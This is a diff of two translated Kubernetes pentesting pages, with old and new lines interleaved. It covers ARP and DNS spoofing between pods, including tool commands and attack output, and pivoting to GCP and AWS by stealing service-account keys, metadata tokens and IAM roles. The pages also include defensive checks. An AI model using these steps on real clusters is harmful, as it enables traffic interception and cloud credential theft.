TOKEN=""
@@ -4,13 +4,13 @@
## Inleiding
In Kubernetes word daar waargeneem dat n verstekgedrag die vestiging van verbindings tussen **alle containers wat op dieselfde node leef** toelaat. Dit geld ongeag die namespace-verskille. Sulke konnektiwiteit strek af tot **Layer 2** (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel potensieel bloot aan kwesbaarhede. Spesifiek open dit die moontlikheid vir n **malicious container** om n **ARP spoofing attack** teen ander containers op dieselfde node uit te voer. Tydens so n attack kan die malicious container netwerkverkeer wat vir ander containers bedoel is, bedrieglik onderskep of wysig.
In Kubernetes word daar waargeneem dat n verstekgedrag die vestiging van verbindings tussen **alle containers wat op dieselfde node woon** toelaat. Dit geld ongeag die namespace-verskille. Sulke konnektiwiteit strek af tot **Layer 2** (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel moontlik bloot aan kwesbaarhede. Spesifiek open dit die moontlikheid vir n **malicious container** om n **ARP spoofing attack** teen ander containers op dieselfde node uit te voer. Tydens so n attack kan die malicious container die netwerkverkeer wat vir ander containers bedoel is, bedrieglik onderskep of wysig.
ARP spoofing attacks behels die **attacker wat vervalste ARP** (Address Resolution Protocol) boodskappe oor n plaaslike area network stuur. Dit lei daartoe dat die **attacker se MAC address met die IP address van n wettige rekenaar of server op die network gekoppel word**. Ná suksesvolle uitvoering van so n attack kan die attacker data in transito onderskep, wysig, of selfs stop. Die attack word op Layer 2 van die OSI model uitgevoer, en daarom wek die verstekkonnektiwiteit in Kubernetes op hierdie layer sekuriteitskwessies.
ARP spoofing attacks behels die **attacker sending falsified ARP** (Address Resolution Protocol)-boodskappe oor n local area network. Dit lei daartoe dat die **attacker's MAC address gekoppel word aan die IP address van n legitieme computer of server op die network**. Ná suksesvolle uitvoering van so n attack kan die attacker data in-transit onderskep, wysig, of selfs stop. Die attack word op Layer 2 van die OSI model uitgevoer, en daarom wek die verstekkonnektiwiteit in Kubernetes op hierdie layer sekuriteitsbekommernisse.
In die scenario gaan 4 machines geskep word:
- ubuntu-pe: Privileged machine om na die node te ontsnap en metrics te kontroleer (nie nodig vir die attack nie)
- ubuntu-pe: Privileged machine om na die node te ontsnap en metrics na te gaan (nie nodig vir die attack nie)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
@@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Basiese Kubernetes-netwerking
## Basic Kubernetes Networking
As jy meer besonderhede wil hê oor die netwerktopics wat hier bekendgestel word, gaan na die verwysings.
As jy meer besonderhede wil hê oor die netwerk-onderwerpe wat hier bekendgestel word, gaan na die verwysings.
### ARP
Oor die algemeen is **pod-to-pod-netwerking binne die node** beskikbaar via 'n **bridge** wat al die pods koppel. Hierdie bridge word “**cbr0**” genoem. (Sommige netwerkplugins sal hul eie bridge installeer.) Die **cbr0 kan ook ARP** (Address Resolution Protocol)-resolusie hanteer. Wanneer 'n inkomende pakket by cbr0 aankom, kan dit die bestemmings-MAC-adres met behulp van ARP oplos.
Oor die algemeen is **pod-to-pod networking inside the node** beskikbaar via n **bridge** wat alle pods verbind. Hierdie bridge word “**cbr0**” genoem. (Sommige network plugins sal hul eie bridge installeer.) Die **cbr0 kan ook ARP** (Address Resolution Protocol) resolution hanteer. Wanneer n inkomende packet by cbr0 aankom, kan dit die bestemmings-MAC address met behulp van ARP resolve.
Hierdie feit impliseer dat, by verstek, **elke pod wat in dieselfde node loop** in staat gaan wees om op ethernetvlak (laag 2) met enige ander pod in dieselfde node te **kommunikeer** (onafhanklik van die namespace).
Hierdie feit impliseer dat, by verstek, **elke pod wat in dieselfde node loop** in staat gaan wees om op ethernet-vlak (layer 2) met enige ander pod in dieselfde node te **communicate** (onafhanklik van die namespace).
> [!WARNING]
> Daarom is dit moontlik om A**RP Spoofing attacks tussen pods in dieselfde node uit te voer.**
> Daarom is dit moontlik om A**RP Spoofing attacks tussen pods in dieselfde node** uit te voer.
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy` is n pod traffic control op L3/L4, maar dit word deur die CNI plugin afgedwing en nie deur die API server self nie. n Cluster kan NetworkPolicy objects stoor terwyl traffic steeds toegelaat word as die aktiewe CNI dit nie implementeer nie, so valideer altyd met n beheerde toegelate source en n geblokkeerde negative-control source.
Moenie by `kubectl get networkpolicy -A` stop nie. Clusters wat Cilium, Calico, OVN-Kubernetes, Antrea, of managed-provider dataplanes gebruik, kan ook policy APIs hê soos `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, of `BaselineAdminNetworkPolicy`. Hierdie kan explicit deny, tier/order, cluster scope, L7/DNS rules, of admin guardrails byvoeg wat gewone additiewe Kubernetes NetworkPolicy semantics nie verduidelik nie.
Nuttige eerste checks:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
Vir bypass analysis, kyk of die bedoelde blok vermy word deur `n toegelate proxy, DNS of egress gateway, `hostNetwork` pod, node-local path, breë namespace of pod label selector, of `n hoër-prioriteit admin/global policy. Rapporteer die bron pod labels, namespace labels, bestemming Service of EndpointSlice, CNI/policy implementering, besluitende policy reël, en traffic proof.
### DNS
In kubernetes-omgewings sal jy gewoonlik 1 (of meer) **DNS services running** vind, gewoonlik in die kube-system namespace:
In kubernetes omgewings sal jy gewoonlik 1 (of meer) **DNS services running** vind gewoonlik in die kube-system namespace:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,30 +152,28 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
In die vorige inligting kan jy iets interessant sien, die **IP van die service** is **10.96.0.10** maar die **IP van die pod** wat die service laat loop is **172.17.0.2.**
In die vorige inligting kan jy iets interessant sien: die **IP van die service** is **10.96.0.10**, maar die **IP van die pod** wat die service laat loop, is **172.17.0.2.**
As jy die DNS-adres binne enige pod nagaan, sal jy iets soos hierdie vind:
As jy die DNS-adres binne enige pod nagaan, sal jy iets soos dit vind:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Egter, die pod **weet nie** hoe om by daardie **adres** uit te kom nie omdat die **pod range** in hierdie geval 172.17.0.10/26 is.
Daarom sal die pod die **DNS requests na die adres 10.96.0.10 stuur** wat deur die cbr0 **na** **172.17.0.2** **vertaal** sal word.
Daarom, sal die pod die **DNS requests na die address 10.96.0.10** stuur, wat deur die cbr0 **na** **172.17.0.2** **translated** sal word.
> [!WARNING]
> Dit beteken dat 'n **DNS request** van 'n pod **altyd** deur die **bridge** sal gaan om die **service IP to the endpoint IP** te **translate**, selfs al is die DNS server in dieselfde subnetwork as die pod.
> Dit beteken dat n **DNS request** van n pod **altyd** deur die **bridge** sal gaan om die **service IP to the endpoint IP** te **translate**, selfs al is die DNS server in dieselfde subnetwork as die pod.
>
> As jy dit weet, en weet dat **ARP attacks possible** is, gaan 'n **pod** in 'n node in staat wees om **the traffic** tussen **each pod** in die **subnetwork** en die **bridge** te **intercept** en die **DNS responses** van die DNS server (**DNS Spoofing**) te **modify**.
> Met hierdie kennis, en met die wete dat **ARP attacks possible** is, gaan n **pod** in n node in staat wees om die **traffic** tussen **each pod** in die **subnetwork** en die **bridge** te **intercept** en die **DNS responses** van die DNS server (**DNS Spoofing**) te **modify**.
>
> Verder, as die **DNS server** in dieselfde node as die attacker is, kan die attacker al die **DNS request** van enige pod in die cluster **intercept** (tussen die DNS server en die bridge) en die responses **modify**.
> Verder, as die **DNS server** in dieselfde node as die attacker is, kan die attacker **all the DNS request** van enige pod in die cluster **intercept** (tussen die DNS server en die bridge) en die responses modify.
> [!NOTE]
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
## ARP Spoofing in pods in the same Node
Ons doel is om ten minste die kommunikasie van die ubuntu-victim na die mysql te **steel**.
Ons doel is om ten minste die communication van die ubuntu-victim na die mysql te steal.
### Scapy
```bash
@@ -236,16 +250,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Soos reeds genoem is, as jy n **pod kompromitteer in dieselfde node as die DNS server pod**, kan jy **MitM** met **ARPSpoofing** die **bridge en die DNS** pod doen en **al die DNS responses wysig**.
Soos reeds genoem is, as jy 'n **pod in dieselfde node as die DNS server pod kompromitteer**, kan jy **MitM** met **ARPSpoofing** die **bridge en die DNS** pod en **alle DNS responses wysig**.
Jy het n baie goeie **tool** en **tutorial** om dit te toets by [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Jy het 'n baie nice **tool** en **tutorial** om dit te toets in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In ons scenario, **download** die **tool** in die attacker pod en skep n **file genaamd `hosts`** met die **domains** wat jy wil **spoof** soos:
In ons scenario, **download** die **tool** in die attacker pod en skep 'n **file genaamd `hosts`** met die **domains** wat jy wil **spoof** soos:
```
cat hosts
google.com. 1.1.1.1
```
Voer die attack op die ubuntu-victim machine uit:
Voer die aanval op die ubuntu-victim-masjien uit:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -268,7 +282,7 @@ google.com. 1 IN A 1.1.1.1
## DNS Spoofing via coreDNS configmap
n Gebruiker met skryfregte oor die configmap `coredns` in die kube-system namespace kan die DNS responses van die cluster wysig.
'n Gebruiker met skryf-regte oor die configmap `coredns` in die kube-system namespace kan die DNS responses van die cluster wysig.
Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.
@@ -280,7 +294,7 @@ abusing-roles-clusterroles-in-kubernetes/README.md
## Abusing exposed kubernetes management services
Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them.
Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard is dikwels blootgestel óf aan die internet óf binne die kubernetes network. 'n Aanvaller wat daarin slaag om **enige platform te vind wat gebruik word om kubernetes te bestuur en toegang daartoe te kry** kan dit misbruik om toegang tot die kubernetes API te verkry en actions soos om nuwe pods te skep, bestaande te wysig, of selfs hulle te delete.
## Enumerating kubernetes network policies
@@ -292,18 +306,18 @@ Kry **Callico** network policies:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Kry **Cillium** netwerkbeleide:
Kry **Cillium** network policies:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Kry ander policy-verwante CRDs wat deur jou network plugin of security solution geïnstalleer is:
Kry ander policy-verwante CRDs geïnstalleer deur jou network plugin of security solution:
```bash
kubectl get crd | grep -i policy
```
## Capturing Traffic
## Vang van Verkeer
Die instrument [**Mizu**](https://github.com/up9inc/mizu) is 'n eenvoudige maar kragtige API **traffic viewer for Kubernetes** wat jou in staat stel om **al die API communication** tussen microservices te sien om jou te help om regressions te debug en troubleshooten.\
Dit sal agents in die geselekteerde pods installeer en hul traffic information insamel en dit vir jou in 'n web server wys. Jy sal egter hoë K8s permissions hiervoor nodig hê (en dit is nie baie stealthy nie).
Die tool [**Mizu**](https://github.com/up9inc/mizu) is 'n eenvoudige-maar-kragtige API **traffic viewer for Kubernetes** wat jou in staat stel om **alle API communication** tussen microservices te bekyk om jou te help met debug en troubleshooting van regressions.\
Dit sal agents in die geselekteerde pods installeer en hul traffic information versamel en dit vir jou in 'n web server wys. Jy sal egter hoë K8s-permissions hiervoor nodig hê (en dit is nie baie stealthy nie).
## References
@@ -1,33 +1,33 @@
# Kubernetes Pivoting na Clouds
# Kubernetes Pivoting to Clouds
{{#include ../../banners/hacktricks-training.md}}
## GCP
As jy `k8s` cluster binne GCP laat loop, sal jy waarskynlik wil hê dat een of ander application wat binne die cluster loop, toegang tot GCP moet hê. Daar is 2 algemene maniere om dit te doen:
As jy 'n k8s cluster binne GCP laat loop, sal jy waarskynlik wil hê dat een of ander application wat binne die cluster loop, toegang tot GCP het. Daar is 2 algemene maniere om dit te doen:
### Mounting GCP-SA keys as secret
n Algemene manier om **access to a kubernetes application to GCP** te gee, is om:
'n Algemene manier om **toegang aan 'n kubernetes application tot GCP** te gee, is om:
- Create a GCP Service Account
- Skep 'n GCP Service Account
- Bind die gewenste permissions daarop
- Download n json key van die created SA
- Mount dit as n secret binne die pod
- Stel die GOOGLE_APPLICATION_CREDENTIALS environment variable in wat na die path wys waar die json is.
- Laai 'n json key van die geskape SA af
- Mount dit as 'n secret binne die pod
- Stel die GOOGLE_APPLICATION_CREDENTIALS environment variable wat wys na die path waar die json is.
> [!WARNING]
> Daarom, as n **attacker**, as jy n container binne n pod kompromitteer, moet jy kyk vir daardie **env** **variable** en **json** **files** met GCP credentials.
> Daarom, as 'n **attacker**, as jy 'n container binne 'n pod compromise, moet jy kyk vir daardie **env** **variable** en **json** **files** met GCP credentials.
### Relating GSA json to KSA secret
n Manier om access aan n GSA te gee aan n GKE cluser is om hulle op hierdie manier te bind:
'n Manier om toegang aan 'n GSA aan 'n GKE cluser te gee, is om hulle op hierdie manier te bind:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
kubectl create serviceaccount <service-account-name>
```
- Skep `n` Kubernetes Secret wat die geloofsbriewe van die GCP service account bevat waaraan jy toegang tot die GKE cluster wil gee. Jy kan dit doen met die `gcloud` command-line tool, soos in die volgende voorbeeld gewys:
- Skep 'n Kubernetes Secret wat die credentials van die GCP service account bevat waaraan jy toegang tot die GKE cluster wil gee. Jy kan dit doen deur die `gcloud` command-line tool te gebruik, soos in die volgende voorbeeld getoon:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
@@ -40,26 +40,26 @@ kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> In die **tweede stap** is die **credentials van die GSA as secret van die KSA** gestel. Dan, as jy daardie **secret** van **binne** die **GKE** cluster kan **lees**, kan jy na daardie GCP service account **escalate**.
> In die **tweede stap** is die **credentials of the GSA as secret of the KSA** ingestel. Dan, as jy daardie **secret** van **binne** die **GKE** cluster kan **read**, kan jy na daardie GCP service account **escalate**.
### GKE Workload Identity
Met Workload Identity kan ons 'n[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) konfigureer om as 'n[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) op te tree. Pods wat met die Kubernetes service account loop, sal outomaties as die Google service account authenticate wanneer hulle Google Cloud APIs benader.
With Workload Identity, kan ons 'n[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) konfigureer om as 'n[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) op te tree. Pods wat met die Kubernetes service account loop sal outomaties as die Google service account authenticate wanneer hulle Google Cloud APIs access.
Die **eerste reeks stappe** om hierdie gedrag te aktiveer, is om **Workload Identity in GCP te enable** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) en die GCP SA te skep wat jy wil hê k8s moet impersonate.
Die **eerste reeks stappe** om hierdie gedrag te enable is om **Workload Identity in GCP** te **enable** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) en die GCP SA te create wat jy wil hê k8s moet impersonate.
- **Enable Workload Identity** op 'n nuwe cluster
- **Enable Workload Identity** on a new cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Skep/Wysig n nuwe nodepool** (Autopilot clusters het dit nie nodig nie)
- **Skep/Wysig 'n nuwe nodepool** (Autopilot clusters het dit nie nodig nie)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Skep die **GCP Service Account to impersonate** vanaf K8s met GCP-regte:
- Skep die **GCP Service Account to impersonate** vanaf K8s met GCP permissions:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Run a **pod** met die **KSA** en kontroleer die **access** tot **GSA:**
- Run `n **pod** met die **KSA** en kyk na die **access** to **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Kyk na die volgende command om te authenticate indien nodig:
Kontroleer die volgende command om te authenticate indien nodig:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> As 'n attacker binne K8s moet jy **soek vir SAs** met die **`iam.gke.io/gcp-service-account` annotation** aangesien dit aandui dat die SA toegang tot iets in GCP kan hê. 'n Ander opsie sou wees om te probeer om elke KSA in die cluster te misbruik en te kyk of dit toegang het.\
> Van GCP af is dit altyd interessant om die bindings te enumerate en te weet **watter access jy aan SAs binne Kubernetes gee**.
> As n aanvaller binne K8s behoort jy **na SAs te soek** met die **`iam.gke.io/gcp-service-account` annotation** aangesien dit aandui dat die SA toegang tot iets in GCP kan hê. Nog n opsie sou wees om te probeer om elke KSA in die cluster te abuse en te kyk of dit toegang het.\
> Vanuit GCP is dit altyd interessant om die bindings te enumerate en te weet **watter access jy aan SAs binne Kubernetes gee**.
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
Dit is n script om maklik **oor al die pods** definisies te **iterate** en te **soek** vir daardie **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,7 +141,7 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
n (verouderde) manier om IAM Roles aan Pods te gee is om n [**Kiam**](https://github.com/uswitch/kiam) of n [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** te gebruik. Basies sal jy n **daemonset** in jou cluster moet laat loop met n **soort bevoorregte IAM role**. Hierdie daemonset sal die een wees wat toegang tot IAM roles aan die pods gee wat dit nodig het.
n (verouderde) manier om IAM Roles aan Pods te gee, is om n [**Kiam**](https://github.com/uswitch/kiam) of n [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server** te gebruik. Basies sal jy n **daemonset** in jou cluster moet laat loop met n **soort bevoorregte IAM role**. Hierdie daemonset sal die een wees wat toegang tot IAM roles aan die pods sal gee wat dit nodig het.
Eerstens moet jy konfigureer **watter roles binne die namespace verkry kan word**, en jy doen dit met n annotation binne die namespace object:
```yaml:Kiam
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Sodra die namespace gekonfigureer is met die IAM roles wat die Pods kan hê, kan jy **die role wat jy op elke pod-definisie wil hê, aandui met iets soos**:
Sodra die namespace gekonfigureer is met die IAM roles wat die Pods kan hê, kan jy **die role wat jy op elke pod definition wil hê aandui met iets soos**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> As 'n aanvaller, as jy **hierdie annotations** in pods of namespaces of 'n kiam/kube2iam server wat loop (waarskynlik in kube-system) vind, kan jy **elke r**ole wat reeds **deur pods gebruik** word en meer impersonate (as jy toegang tot die AWS account het, enumerate die roles).
> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
#### Create Pod with IAM Role
#### Skep Pod met IAM Role
> [!NOTE]
> Die IAM role wat aangedui moet word, moet in dieselfde AWS account wees as die kiam/kube2iam role en daardie role moet in staat wees om toegang daartoe te kry.
> Die IAM role wat aangedui moet word, moet in dieselfde AWS account wees as die kiam/kube2iam role en daardie role moet dit kan access.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -196,10 +196,10 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
Dit is die **aanbevole manier deur AWS**.
1. Eerstens moet jy [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Dan create jy 'n IAM role met die permissions wat die SA sal require.
3. Create 'n [trust relationship tussen die IAM role en die SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) naam (of die namespaces wat toegang gee tot die role vir al die SAs van die namespace). _Die trust relationship sal hoofsaaklik die OIDC provider name, die namespace name en die SA name check_.
4. Laastens, **create 'n SA met 'n annotation wat die ARN van die role aandui**, en die pods wat met daardie SA run sal **access to the token van die role**. Die **token** word **geskryf** binne-in 'n file en die path word gespecify in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
1. Eerstens moet jy [n OIDC provider vir die cluster skep](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Dan skep jy n IAM role met die permissions wat die SA sal vereis.
3. Skep n [trust relationship tussen die IAM role en die SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) naam (of die namespaces wat toegang gee tot die role vir al die SAs van die namespace). _Die trust relationship sal hoofsaaklik die OIDC provider naam, die namespace naam en die SA naam kontroleer_.
4. Laastens, **skep n SA met n annotation wat die ARN van die role aandui**, en die pods wat met daardie SA loop sal **toegang hê tot die token van die role**. Die **token** word **weggeskryf** binne n file en die path word gespesifiseer in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,25 +216,68 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Om **aws te kry deur die token** vanaf `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` uit te voer:
Om **aws te kry met die token** vanaf `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` hardloop:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
> As 'n aanvaller, as jy 'n K8s cluster kan enumerate, kyk vir **service accounts met daardie annotation** om na **AWS** te **escalate**. Om dit te doen, **exec/create** net 'n **pod** met een van die IAM **privileged service accounts** en steel die token.
>
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
> Boonop, as jy binne 'n pod is, kyk vir env variables soos **AWS_ROLE_ARN** en **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
> Soms kan die **Turst Policy of a role** **verkeerd gekonfigureer** wees en in plaas daarvan om AssumeRole access aan die verwagte service account te gee, gee dit dit aan **all the service accounts**. Daarom, as jy in staat is om 'n annotation op 'n controlled service account te skryf, kan jy toegang kry tot die role.
>
> Check the **following page for more information**:
> Kyk die **following page for more information**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Vind Pods en SAs with IAM Roles in the Cluster
### EKS Pod Identity
EKS Pod Identity is die nuwer AWS-managed manier om 'n IAM role met 'n Kubernetes service account te assosieer sonder om op elke workload staat te maak om STS met 'n IRSA web identity token te call. Die cluster laat die EKS Pod Identity Agent op nodes loop, die EKS API stoor pod identity associations, en AWS SDKs in geselekteerde pods kry credentials deur die container credentials provider path wat deur die agent blootgestel word.
Vanuit Kubernetes is die interessante evidence steeds die service account- en pod-verhouding, maar die runtime signals is anders as IRSA. Soek vir AWS container credential environment variables in pods eerder as net `AWS_WEB_IDENTITY_TOKEN_FILE`:
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
Vanaf AWS, enumerate die associations en map hulle dan terug na Kubernetes namespaces en service accounts:
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
Binne 'n geassosieerde pod is die hoof runtime-aanwysers die container credentials provider-veranderlikes wat deur EKS ingespuit word:
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
Die plaaslike credential-eindpunt is gewoonlik `http://169.254.170.23/v1/credentials` en die authorization token is 'n projected service account token vir die `pods.eks.amazonaws.com` audience. Onthou dat AWS SDK credential-provider order steeds geld: as static environment credentials of shared credential files vroeër in die ketting gekonfigureer is, mag die pod daardie gebruik in plaas van die Pod Identity association.
Pod Identity roles vertrou normaalweg die `pods.eks.amazonaws.com` service principal vir `sts:AssumeRole` en `sts:TagSession`. Hersien trust-policy conditions op request tags soos `kubernetes-namespace`, `kubernetes-service-account`, en cluster tags, want breë conditions kan 'n herbruikbare role vir te veel service accounts beskikbaar maak. Pod Identity voeg ook session tags by die temporary credentials, en daardie tags kan ABAC policies dryf soos resource access gebaseer op `${aws:PrincipalTag/kubernetes-namespace}` of `${aws:PrincipalTag/kubernetes-service-account}`.
Vir cross-account access kan 'n Pod Identity association 'n same-account role gebruik wat chain na 'n target role in 'n ander account. In daardie geval, hersien albei lae: die EKS association role en die target role trust/policy. Die Pod Identity session tags is transitive oor die role chain, so hulle is nuttige evidence om te bewys watter cluster namespace en service account die remote account accessed het.
> [!WARNING]
> As jy pods kan create of modify wat 'n service account met 'n EKS Pod Identity association gebruik, toets of daardie pod useful AWS permissions ontvang. As jy defend, alert op nuwe pod identity associations, unexpected service account use, en AWS API calls van roles wat slegs deur spesifieke workloads gebruik moet word.
### EKS governance guardrails
Wanneer jy EKS van die AWS-kant af review, onthou dat IAM en AWS Organizations guardrails unsafe cluster configuration kan deny selfs wanneer 'n principal breë EKS permissions het. Onlangse EKS condition keys dek cluster settings soos public of private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier, en zonal shift configuration. Hierdie keys kan in IAM policies of Service Control Policies gebruik word om account-wide cluster baselines af te dwing.
Dit maak saak vir beide attack impact en triage. As 'n principal `eks:UpdateClusterConfig` kan call maar 'n SCP deny die enabling van 'n public endpoint via `eks:endpointPublicAccess`, rapporteer die attempted risky action en die guardrail wat dit blocked het eerder as om te beweer daar was public API exposure. Vir defenders, alert op denied EKS configuration changes sowel as successful changes, omdat denied attempts compromised automation, stale admin roles, of reconnaissance voor 'n pivot na 'n minder protected account kan openbaar.
Nuttige references:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Find Pods a SAs with IAM Roles in the Cluster
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
```bash
@@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
Die vorige afdeling was oor hoe om IAM Roles met pods te steel, maar let daarop dat n **Node van die** K8s cluster n **instance binne die cloud** gaan wees. Dit beteken dat die Node baie waarskynlik n **IAM role gaan hê wat jy kan steel** (_let daarop dat gewoonlik al die nodes van n K8s cluster dieselfde IAM role sal hê, so dit is dalk nie die moeite werd om op elke node te probeer kyk nie_).
